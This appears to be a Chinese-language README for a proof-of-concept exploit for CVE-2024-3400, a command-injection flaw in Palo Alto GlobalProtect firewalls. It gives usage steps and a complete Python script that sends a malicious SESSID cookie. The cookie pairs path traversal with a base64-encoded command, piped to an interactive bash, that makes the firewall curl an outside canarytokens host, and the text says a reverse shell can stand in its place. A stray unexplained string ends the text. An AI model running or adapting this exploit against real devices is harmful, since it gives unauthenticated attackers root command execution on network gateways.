CVE-2024-3400 漏洞验证工具 (Palo Alto 防火墙)

5 阅读2分钟

CVE-2024-3400 PoC 工具

本项目是一个针对 CVE-2024-3400 漏洞的概念验证(Proof of Concept)脚本。CVE-2024-3400 是 Palo Alto Networks 防火墙 GlobalProtect 组件中的一个严重命令注入漏洞,允许未经身份验证的攻击者在目标系统上以 root 权限执行任意命令。

此 PoC 工具严格用于安全测试和教育目的,帮助管理员验证其系统是否受该漏洞影响。

功能特性

  • 命令注入验证:通过构建特制的 SESSID Cookie 值,向目标 GlobalProtect 接口发送 GET 请求。
  • Base64 编码载荷:示例载荷中包含一个经 Base64 编码的远程命令(例如反向 Shell),展示漏洞利用原理。
  • 简洁的命令行接口:仅需提供目标主机地址,即可快速发起测试请求。
  • 轻量级依赖:基于 Python 3 和 requests 库,易于部署和执行。

安装指南

系统要求

  • Python 3.6 及以上版本
  • pip 包管理工具

依赖安装

本项目仅依赖 requests 库。您可以使用以下命令快速安装:

pip install requests

获取代码

Poc.py 文件下载或克隆到本地目录:

git clone https://github.com/your-repo/cve-2024-3400-poc.git
cd cve-2024-3400-poc

使用说明

基础用法

脚本通过命令行参数接收目标主机(IP 或域名),并发送验证请求。

python Poc.py <host>

示例

python Poc.py 192.168.1.1

参数说明

  • host:必填参数,目标 Palo Alto 防火墙的 IP 地址或域名(无需包含 https:// 前缀)。

典型输出

成功执行后,脚本会打印出目标服务器返回的 HTTP 响应内容。如果目标存在漏洞,SESSID 中的命令将被执行。

漏洞原理简介

脚本构造的 SESSID 载荷如下:

../../../../opt/panlogs/tmp/device_telemetry/minute/`echo${IFS}Y3VybCBrZ2UzZHI0ZmFmdGF2YWw1NXk4dDJ3OXVwLmNhbmFyeXRva2Vucy5jb20=|base64${IFS}-d|bash${IFS}-i`

其中 Base64 编码部分解码后为 curl kge3dr4faftaval55y8t2w9up.canarytokens.com,意在演示攻击者可让防火墙发起外连请求。

警告:该 PoC 仅用于授权环境的安全测试,请勿在未授权系统上使用。

核心代码

主脚本 Poc.py

以下为项目的核心实现代码,展示了如何通过 Cookie 注入执行命令:

import requests
import sys

def main():
    # 检查命令行参数数量
    if len(sys.argv) != 2:
        print("Usage: python Poc.py <host>")
        sys.exit(1)
    
    # 获取目标主机地址
    host = sys.argv[1]
    # 构造 GlobalProtect 登录端点 URL
    url = f'https://{host}/global-protect/login.esp'

    # 模拟正常浏览器的请求头
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36',
        'Accept-Encoding': 'gzip, deflate, br',
        'Accept': '*/*',
        'Connection': 'keep-alive'
    }

    # 构造恶意 Cookie,其中包含路径穿越和命令注入载荷
    # 载荷中的 base64 命令解码后为:curl <canarytoken地址>
    cookies = {
        'SESSID': '../../../../opt/panlogs/tmp/device_telemetry/minute/`echo${IFS}Y3VybCBrZ2UzZHI0ZmFmdGF2YWw1NXk4dDJ3OXVwLmNhbmFyeXRva2Vucy5jb20=|base64${IFS}-d|bash${IFS}-i`'
    }

    # 发送带有恶意 Cookie 的 GET 请求
    response = requests.get(url, headers=headers, cookies=cookies)
    
    # 打印响应内容,用于分析结果
    print(response.text)

if __name__ == "__main__":
    main()

代码注释说明

  1. 参数解析:程序严格需要且仅需要一个参数(目标主机)。
  2. URL 拼接:自动添加 https:// 协议并指向 GlobalProtect 的登录入口。
  3. Cookie 载荷SESSID 字段包含了目录遍历 (../../../../) 和命令注入 (反引号执行) 的组合,用于触发漏洞。
  4. 请求发送:使用 Python requests 库发送 HTTPS 请求,并输出响应体。 6HFtX5dABrKlqXeO5PUv/4UGIQshB1lKgLEfRzPjZQag9owg7WlugUna8oRrbLxf